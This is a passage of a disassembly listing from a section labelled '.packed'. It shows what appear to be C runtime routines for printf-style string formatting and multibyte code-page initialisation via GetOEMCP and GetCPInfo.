.packed:off_4205C0o mov [ebp+var_10], edx ; jumptable 0041FF0D case 4 jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FFBA: ; CODE XREF: sub_41FE9F+6Ej ; DATA XREF: .packed:off_4205C0o cmp bl, 2Ah ; jumptable 0041FF0D case 5 jnz short loc_41FFDD lea eax, [ebp+arg_8] push eax call sub_42067E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_4205A7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FFDD: ; CODE XREF: sub_41FE9F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FFEF: ; CODE XREF: sub_41FE9F+6Ej ; DATA XREF: .packed:off_4205C0o cmp bl, 49h ; jumptable 0041FF0D case 6 jz short loc_420022 cmp bl, 68h jz short loc_420019 cmp bl, 6Ch jz short loc_420010 cmp bl, 77h jnz loc_4205A7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_420010: ; CODE XREF: sub_41FE9F+15Dj or [ebp+var_4], 10h jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_420019: ; CODE XREF: sub_41FE9F+158j or [ebp+var_4], 20h jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_420022: ; CODE XREF: sub_41FE9F+153j cmp byte ptr [edi], 36h jnz short loc_42003B cmp byte ptr [edi+1], 34h jnz short loc_42003B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_42003B: ; CODE XREF: sub_41FE9F+186j ; sub_41FE9F+18Cj mov [ebp+var_30], edx loc_42003E: ; CODE XREF: sub_41FE9F+6Ej ; DATA XREF: .packed:off_4205C0o mov ecx, off_43EFE8 ; jumptable 0041FF0D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42006A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4205E0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42006A: ; CODE XREF: sub_41FE9F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4205E0 add esp, 0Ch jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_420082: ; CODE XREF: sub_41FE9F+6Ej ; DATA XREF: .packed:off_4205C0o movsx eax, bl ; jumptable 0041FF0D case 7 cmp eax, 67h jg loc_4202AA cmp eax, 65h jge loc_42012D cmp eax, 58h jg loc_42018B jz loc_42031E sub eax, 43h jz loc_42014E dec eax dec eax jz short loc_420123 dec eax dec eax jz short loc_420123 sub eax, 0Ch jnz loc_4204A9 test word ptr [ebp+var_4], 830h jnz short loc_4200CC or byte ptr [ebp+var_4+1], 8 loc_4200CC: ; CODE XREF: sub_41FE9F+227j ; sub_41FE9F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_4200D9 mov esi, 7FFFFFFFh loc_4200D9: ; CODE XREF: sub_41FE9F+233j lea eax, [ebp+arg_8] push eax call sub_42067E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_4202F2 test ecx, ecx jnz short loc_420101 mov ecx, off_43F204 mov [ebp+var_8], ecx loc_420101: ; CODE XREF: sub_41FE9F+257j mov [ebp+var_24], 1 mov eax, ecx loc_42010A: ; CODE XREF: sub_41FE9F+282j mov edx, esi dec esi test edx, edx jz loc_4202E9 cmp word ptr [eax], 0 jz loc_4202E9 inc eax inc eax jmp short loc_42010A ; --------------------------------------------------------------------------- loc_420123: ; CODE XREF: sub_41FE9F+212j ; sub_41FE9F+216j mov [ebp+var_34], 1 add bl, 20h loc_42012D: ; CODE XREF: sub_41FE9F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_420211 mov [ebp+var_10], 6 jmp loc_42021F ; --------------------------------------------------------------------------- loc_42014E: ; CODE XREF: sub_41FE9F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_42015A or byte ptr [ebp+var_4+1], 8 loc_42015A: ; CODE XREF: sub_41FE9F+2B5j ; sub_41FE9F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_4201A1 call sub_42069B push eax lea eax, [ebp+var_248] push eax call sub_424686 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_4201B4 mov [ebp+var_28], 1 jmp short loc_4201B4 ; --------------------------------------------------------------------------- loc_42018B: ; CODE XREF: sub_41FE9F+1FBj sub eax, 5Ah jz short loc_4201C2 sub eax, 9 jz short loc_42015A dec eax jz loc_420384 jmp loc_4204A9 ; --------------------------------------------------------------------------- loc_4201A1: ; CODE XREF: sub_41FE9F+2C5j call sub_42067E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_4201B4: ; CODE XREF: sub_41FE9F+2E1j ; sub_41FE9F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_4204A9 ; --------------------------------------------------------------------------- loc_4201C2: ; CODE XREF: sub_41FE9F+2EFj lea eax, [ebp+arg_8] push eax call sub_42067E test eax, eax pop ecx jz short loc_420203 mov ecx, [eax+4] test ecx, ecx jz short loc_420203 test byte ptr [ebp+var_4+1], 8 jz short loc_4201F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_4204A9 ; --------------------------------------------------------------------------- loc_4201F4: ; CODE XREF: sub_41FE9F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_4204A6 ; --------------------------------------------------------------------------- loc_420203: ; CODE XREF: sub_41FE9F+32Fj ; sub_41FE9F+336j mov eax, off_43F200 mov [ebp+var_8], eax push eax jmp loc_42029F ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_41FE9F+29Dj jnz short loc_42021F cmp bl, 67h jnz short loc_42021F mov [ebp+var_10], 1 loc_42021F: ; CODE XREF: sub_41FE9F+2AAj ; sub_41FE9F:loc_420211j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43F590 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420271 cmp [ebp+var_10], 0 jnz short loc_420271 lea eax, [ebp+var_248] push eax call off_43F59C pop ecx loc_420271: ; CODE XREF: sub_41FE9F+3BCj ; sub_41FE9F+3C2j cmp bl, 67h jnz short loc_420288 test esi, esi jnz short loc_420288 lea eax, [ebp+var_248] push eax call off_43F594 pop ecx loc_420288: ; CODE XREF: sub_41FE9F+3D5j ; sub_41FE9F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42029E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42029E: ; CODE XREF: sub_41FE9F+3F0j push edi loc_42029F: ; CODE XREF: sub_41FE9F+36Dj call sub_41B7B0 pop ecx jmp loc_4204A6 ; --------------------------------------------------------------------------- loc_4202AA: ; CODE XREF: sub_41FE9F+1E9j sub eax, 69h jz loc_420384 sub eax, 5 jz loc_42035A dec eax jz loc_420347 dec eax jz short loc_420317 sub eax, 3 jz loc_4200CC dec eax dec eax jz loc_420388 sub eax, 3 jnz loc_4204A9 mov [ebp+var_2C], 27h jmp short loc_420325 ; --------------------------------------------------------------------------- loc_4202E9: ; CODE XREF: sub_41FE9F+270j ; sub_41FE9F+27Aj sub eax, ecx sar eax, 1 jmp loc_4204A6 ; --------------------------------------------------------------------------- loc_4202F2: ; CODE XREF: sub_41FE9F+24Fj test ecx, ecx jnz short loc_4202FF mov ecx, off_43F200 mov [ebp+var_8], ecx loc_4202FF: ; CODE XREF: sub_41FE9F+455j mov eax, ecx loc_420301: ; CODE XREF: sub_41FE9F+46Fj mov edx, esi dec esi test edx, edx jz short loc_420310 cmp byte ptr [eax], 0 jz short loc_420310 inc eax jmp short loc_420301 ; --------------------------------------------------------------------------- loc_420310: ; CODE XREF: sub_41FE9F+467j ; sub_41FE9F+46Cj sub eax, ecx jmp loc_4204A6 ; --------------------------------------------------------------------------- loc_420317: ; CODE XREF: sub_41FE9F+425j mov [ebp+var_10], 8 loc_42031E: ; CODE XREF: sub_41FE9F+201j mov [ebp+var_2C], 7 loc_420325: ; CODE XREF: sub_41FE9F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42038F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42038F ; --------------------------------------------------------------------------- loc_420347: ; CODE XREF: sub_41FE9F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42038F or byte ptr [ebp+var_4+1], 2 jmp short loc_42038F ; --------------------------------------------------------------------------- loc_42035A: ; CODE XREF: sub_41FE9F+417j lea eax, [ebp+arg_8] push eax call sub_42067E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420373 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420378 ; --------------------------------------------------------------------------- loc_420373: ; CODE XREF: sub_41FE9F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420378: ; CODE XREF: sub_41FE9F+4D2j mov [ebp+var_28], 1 jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_420384: ; CODE XREF: sub_41FE9F+2F7j ; sub_41FE9F+40Ej or [ebp+var_4], 40h loc_420388: ; CODE XREF: sub_41FE9F+432j mov [ebp+var_C], 0Ah loc_42038F: ; CODE XREF: sub_41FE9F+491j ; sub_41FE9F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_4203A1 lea eax, [ebp+arg_8] push eax call sub_42068B pop ecx jmp short loc_4203E2 ; --------------------------------------------------------------------------- loc_4203A1: ; CODE XREF: sub_41FE9F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_4203C8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4203BD call sub_42067E pop ecx movsx eax, ax loc_4203BA: ; CODE XREF: sub_41FE9F+527j ; sub_41FE9F+539j cdq jmp short loc_4203E2 ; --------------------------------------------------------------------------- loc_4203BD: ; CODE XREF: sub_41FE9F+510j call sub_42067E pop ecx movzx eax, ax jmp short loc_4203BA ; --------------------------------------------------------------------------- loc_4203C8: ; CODE XREF: sub_41FE9F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4203DA call sub_42067E pop ecx jmp short loc_4203BA ; --------------------------------------------------------------------------- loc_4203DA: ; CODE XREF: sub_41FE9F+531j call sub_42067E pop ecx xor edx, edx loc_4203E2: ; CODE XREF: sub_41FE9F+500j ; sub_41FE9F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_420403 test edx, edx jg short loc_420403 jl short loc_4203F2 test eax, eax jnb short loc_420403 loc_4203F2: ; CODE XREF: sub_41FE9F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_420407 ; --------------------------------------------------------------------------- loc_420403: ; CODE XREF: sub_41FE9F+547j ; sub_41FE9F+54Bj ... mov esi, eax mov edi, edx loc_420407: ; CODE XREF: sub_41FE9F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_420410 and edi, 0 loc_420410: ; CODE XREF: sub_41FE9F+56Cj cmp [ebp+var_10], 0 jge short loc_42041F mov [ebp+var_10], 1 jmp short loc_420423 ; --------------------------------------------------------------------------- loc_42041F: ; CODE XREF: sub_41FE9F+575j and [ebp+var_4], 0FFFFFFF7h loc_420423: ; CODE XREF: sub_41FE9F+57Ej mov eax, esi or eax, edi jnz short loc_42042D and [ebp+var_1C], 0 loc_42042D: ; CODE XREF: sub_41FE9F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_420433: ; CODE XREF: sub_41FE9F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_420443 mov eax, esi or eax, edi jz short loc_42047E loc_420443: ; CODE XREF: sub_41FE9F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DC80 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DC10 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420474 add ebx, [ebp+var_2C] loc_420474: ; CODE XREF: sub_41FE9F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_420433 ; --------------------------------------------------------------------------- loc_42047E: ; CODE XREF: sub_41FE9F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_4204A9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42049C test eax, eax jnz short loc_4204A9 loc_42049C: ; CODE XREF: sub_41FE9F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_4204A6: ; CODE XREF: sub_41FE9F+35Fj ; sub_41FE9F+406j ... mov [ebp+var_C], eax loc_4204A9: ; CODE XREF: sub_41FE9F+21Bj ; sub_41FE9F+2FDj ... cmp [ebp+var_28], 0 jnz loc_4205A7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_4204E1 test bh, 1 jz short loc_4204C6 mov [ebp+var_16], 2Dh jmp short loc_4204DA ; --------------------------------------------------------------------------- loc_4204C6: ; CODE XREF: sub_41FE9F+61Fj test bl, 1 jz short loc_4204D1 mov [ebp+var_16], 2Bh jmp short loc_4204DA ; --------------------------------------------------------------------------- loc_4204D1: ; CODE XREF: sub_41FE9F+62Aj test bl, 2 jz short loc_4204E1 mov [ebp+var_16], 20h loc_4204DA: ; CODE XREF: sub_41FE9F+625j ; sub_41FE9F+630j mov [ebp+var_1C], 1 loc_4204E1: ; CODE XREF: sub_41FE9F+61Aj ; sub_41FE9F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_420501 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_420615 add esp, 10h loc_420501: ; CODE XREF: sub_41FE9F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_420646 add esp, 10h test bl, 8 jz short loc_420533 test bl, 4 jnz short loc_420533 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_420615 add esp, 10h loc_420533: ; CODE XREF: sub_41FE9F+67Bj ; sub_41FE9F+680j cmp [ebp+var_24], 0 jz short loc_42057A cmp [ebp+var_C], 0 jle short loc_42057A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_420548: ; CODE XREF: sub_41FE9F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424686 pop ecx test eax, eax pop ecx jle short loc_42058F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_420646 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_420548 jmp short loc_42058F ; --------------------------------------------------------------------------- loc_42057A: ; CODE XREF: sub_41FE9F+698j ; sub_41FE9F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_420646 add esp, 10h loc_42058F: ; CODE XREF: sub_41FE9F+6BCj ; sub_41FE9F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_4205A7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_420615 add esp, 10h loc_4205A7: ; CODE XREF: sub_41FE9F+68j ; sub_41FE9F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FECB loc_4205B8: ; CODE XREF: sub_41FE9F+1Fj ; sub_41FE9F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FE9F endp ; --------------------------------------------------------------------------- off_4205C0 dd offset loc_42003E ; DATA XREF: sub_41FE9F+6Er dd offset loc_41FF14 ; jump table for switch statement dd offset loc_41FF2F dd offset loc_41FF7B dd offset loc_41FFB2 dd offset loc_41FFBA dd offset loc_41FFEF dd offset loc_420082 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4205E0 proc near ; CODE XREF: sub_41FE9F+1BDp ; sub_41FE9F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_4205F9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_420604 ; --------------------------------------------------------------------------- loc_4205F9: ; CODE XREF: sub_4205E0+9j push ecx push [ebp+arg_0] call sub_41FD8A pop ecx pop ecx loc_420604: ; CODE XREF: sub_4205E0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_420611 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_420611: ; CODE XREF: sub_4205E0+2Aj inc dword ptr [eax] pop ebp retn sub_4205E0 endp ; =============== S U B R O U T I N E ======================================= sub_420615 proc near ; CODE XREF: sub_41FE9F+65Ap ; sub_41FE9F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_420643 mov esi, [esp+8+arg_C] loc_420626: ; CODE XREF: sub_420615+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_4205E0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_420643 mov eax, edi dec edi test eax, eax jg short loc_420626 loc_420643: ; CODE XREF: sub_420615+Bj ; sub_420615+25j pop edi pop esi retn sub_420615 endp ; =============== S U B R O U T I N E ======================================= sub_420646 proc near ; CODE XREF: sub_41FE9F+670p ; sub_41FE9F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42067A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_42065C: ; CODE XREF: sub_420646+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_4205E0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42067A mov eax, ebx dec ebx test eax, eax jg short loc_42065C loc_42067A: ; CODE XREF: sub_420646+Cj ; sub_420646+2Bj pop edi pop esi pop ebx retn sub_420646 endp ; =============== S U B R O U T I N E ======================================= sub_42067E proc near ; CODE XREF: sub_41FE9F+E5p ; sub_41FE9F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42067E endp ; =============== S U B R O U T I N E ======================================= sub_42068B proc near ; CODE XREF: sub_41FE9F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42068B endp ; =============== S U B R O U T I N E ======================================= sub_42069B proc near ; CODE XREF: sub_41FE9F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42069B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A9 proc near ; CODE XREF: sub_420A6D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420842 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_4DF484 mov [ebp+arg_0], esi jz loc_420836 xor ebx, ebx cmp esi, ebx jz loc_42082C xor edx, edx mov eax, offset dword_43F210 loc_4206DD: ; CODE XREF: sub_4206A9+41j cmp [eax], esi jz short loc_420753 add eax, 30h inc edx cmp eax, offset dword_43F300 jl short loc_4206DD lea eax, [ebp+var_18] push eax push esi call dword_4281D0 ; GetCPInfo cmp eax, 1 jnz loc_420824 push 40h xor eax, eax pop ecx mov edi, offset byte_4DF5A0 cmp [ebp+var_18], 1 mov dword_4DF484, esi rep stosd stosb mov dword_4DF6A4, ebx jbe loc_420812 cmp [ebp+var_12], 0 jz loc_4207E8 lea ecx, [ebp+var_11] loc_420730: ; CODE XREF: sub_4206A9+139j mov dl, [ecx] test dl, dl jz loc_4207E8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_420741: ; CODE XREF: sub_4206A9+A8j cmp eax, edx ja loc_4207DC or byte_4DF5A1[eax], 4 inc eax jmp short loc_420741 ; --------------------------------------------------------------------------- loc_420753: ; CODE XREF: sub_4206A9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DF5A0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43F220[esi] loc_42076F: ; CODE XREF: sub_4206A9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_4207A2 loc_420776: ; CODE XREF: sub_4206A9+F7j mov dl, [ecx+1] test dl, dl jz short loc_4207A2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42079B mov edx, [ebp+var_4] mov dl, byte_43F208[edx] loc_420790: ; CODE XREF: sub_4206A9+F0j or byte_4DF5A1[eax], dl inc eax cmp eax, edi jbe short loc_420790 loc_42079B: ; CODE XREF: sub_4206A9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420776 loc_4207A2: ; CODE XREF: sub_4206A9+CBj ; sub_4206A9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42076F mov eax, [ebp+arg_0] mov dword_4DF49C, 1 push eax mov dword_4DF484, eax call sub_42088C lea esi, dword_43F214[esi] mov edi, offset dword_4DF490 movsd movsd pop ecx mov dword_4DF6A4, eax movsd jmp short loc_420831 ; --------------------------------------------------------------------------- loc_4207DC: ; CODE XREF: sub_4206A9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_420730 loc_4207E8: ; CODE XREF: sub_4206A9+7Ej ; sub_4206A9+8Bj push 1 pop eax loc_4207EB: ; CODE XREF: sub_4206A9+14Fj or byte_4DF5A1[eax], 8 inc eax cmp eax, 0FFh jb short loc_4207EB push esi call sub_42088C pop ecx mov dword_4DF6A4, eax mov dword_4DF49C, 1 jmp short loc_420818 ; --------------------------------------------------------------------------- loc_420812: ; CODE XREF: sub_4206A9+74j mov dword_4DF49C, ebx loc_420818: ; CODE XREF: sub_4206A9+167j xor eax, eax mov edi, offset dword_4DF490 stosd stosd stosd jmp short loc_420831 ; --------------------------------------------------------------------------- loc_420824: ; CODE XREF: sub_4206A9+51j cmp dword_4DE0B8, ebx jz short loc_42083A loc_42082C: ; CODE XREF: sub_4206A9+27j call sub_4208BF loc_420831: ; CODE XREF: sub_4206A9+131j ; sub_4206A9+179j call sub_4208E8 loc_420836: ; CODE XREF: sub_4206A9+1Dj xor eax, eax jmp short loc_42083D ; --------------------------------------------------------------------------- loc_42083A: ; CODE XREF: sub_4206A9+181j or eax, 0FFFFFFFFh loc_42083D: ; CODE XREF: sub_4206A9+18Fj pop edi pop esi pop ebx leave retn sub_4206A9 endp ; =============== S U B R O U T I N E ======================================= sub_420842 proc near ; CODE XREF: sub_4206A9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DE0B8, 0 cmp eax, 0FFFFFFFEh jnz short loc_420862 mov dword_4DE0B8, 1 jmp dword_428060 ; --------------------------------------------------------------------------- loc_420862: ; CODE XREF: sub_420842+Ej cmp eax, 0FFFFFFFDh jnz short loc_420877 mov dword_4DE0B8, 1 jmp dword_4281D4 ; --------------------------------------------------------------------------- loc_420877: ; CODE XREF: sub_420842+23j cmp eax, 0FFFFFFFCh jnz short locret_42088B mov eax, dword_4DE0FC mov dword_4DE0B8, 1 locret_42088B: ; CODE XREF: sub_420842+38j retn sub_420842 endp ; =============== S U B R O U T I N E ======================================= sub_42088C proc near ; CODE XREF: sub_4206A9+118p ; sub_4206A9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4208B9 sub eax, 4 jz short loc_4208B3 sub eax, 0Dh jz short loc_4208AD dec eax jz short loc_4208A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4208A7: ; CODE XREF: sub_42088C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4208AD: ; CODE XREF: sub_42088C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4208B3: ; CODE XREF: sub_42088C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4208B9: ; CODE XREF: sub_42088C+9j mov eax, 411h retn sub_42088C endp ; =============== S U B R O U T I N E ======================================= sub_4208BF proc near ; CODE XREF: sub_4206A9:loc_42082Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DF5A0 rep stosd stosb xor eax, eax mov edi, offset dword_4DF490 mov dword_4DF484, eax mov dword_4DF49C, eax mov dword_4DF6A4, eax stosd stosd stosd pop edi retn sub_4208BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4208E8 proc near ; CODE XREF: sub_4206A9:loc_420831p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DF484 call dword_4281D0 ; GetCPInfo cmp eax, 1 jnz loc_420A21 xor eax, eax mov esi, 100h loc_420912: ; CODE XREF: sub_4208E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420912 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420963 push ebx push edi lea edx, [ebp+var_D] loc_420931: ; CODE XREF: sub_4208E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420958 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420958: ; CODE XREF: sub_4208E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420931 pop edi pop ebx loc_420963: ; CODE XREF: sub_4208E8+42j push 0 lea eax, [ebp+var_514] push dword_4DF6A4 push dword_4DF484 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_424517 push 0 lea eax, [ebp+var_214] push dword_4DF484 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DF6A4 call sub_423383 push 0 lea eax, [ebp+var_314] push dword_4DF484 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DF6A4 call sub_423383 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4209DE: ; CODE XREF: sub_4208E8+135j mov dx, [ecx] test dl, 1 jz short loc_4209FC or byte_4DF5A1[eax], 10h mov dl, [ebp+eax+var_214] loc_4209F4: ; CODE XREF: sub_4208E8+127j mov byte_4DF4A0[eax], dl jmp short loc_420A18 ; --------------------------------------------------------------------------- loc_4209FC: ; CODE XREF: sub_4208E8+FCj test dl, 2 jz short loc_420A11 or byte_4DF5A1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4209F4 ; --------------------------------------------------------------------------- loc_420A11: ; CODE XREF: sub_4208E8+117j and byte_4DF4A0[eax], 0 loc_420A18: ; CODE XREF: sub_4208E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4209DE jmp short loc_420A6A ; --------------------------------------------------------------------------- loc_420A21: ; CODE XREF: sub_4208E8+1Dj xor eax, eax mov esi, 100h loc_420A28: ; CODE XREF: sub_4208E8+180j cmp eax, 41h jb short loc_420A46 cmp eax, 5Ah ja short loc_420A46 or byte_4DF5A1[eax], 10h mov cl, al add cl, 20h loc_420A3E: ; CODE XREF: sub_4208E8+174j mov byte_4DF4A0[eax], cl jmp short loc_420A65 ; --------------------------------------------------------------------------- loc_420A46: ; CODE XREF: sub_4208E8+143j ; sub_4208E8+148j cmp eax, 61h jb short loc_420A5E cmp eax, 7Ah ja short loc_420A5E or byte_4DF5A1[eax], 20h mov cl, al sub cl, 20h jmp short loc_420A3E ; --------------------------------------------------------------------------- loc_420A5E: ; CODE XREF: sub_4208E8+161j ; sub_4208E8+166j and byte_4DF4A0[eax], 0 loc_420A65: ; CODE XREF: sub_4208E8+15Cj inc eax cmp eax, esi jb short loc_420A28 loc_420A6A: ; CODE XREF: sub_4208E8+137j pop esi leave retn sub_4208E8 endp ; =============== S U B R O U T I N E ======================================= sub_420A6D proc near ; CODE XREF: sub_423756+9p ; sub_4237AE+Dp ... cmp dword_4DF6D4, 0 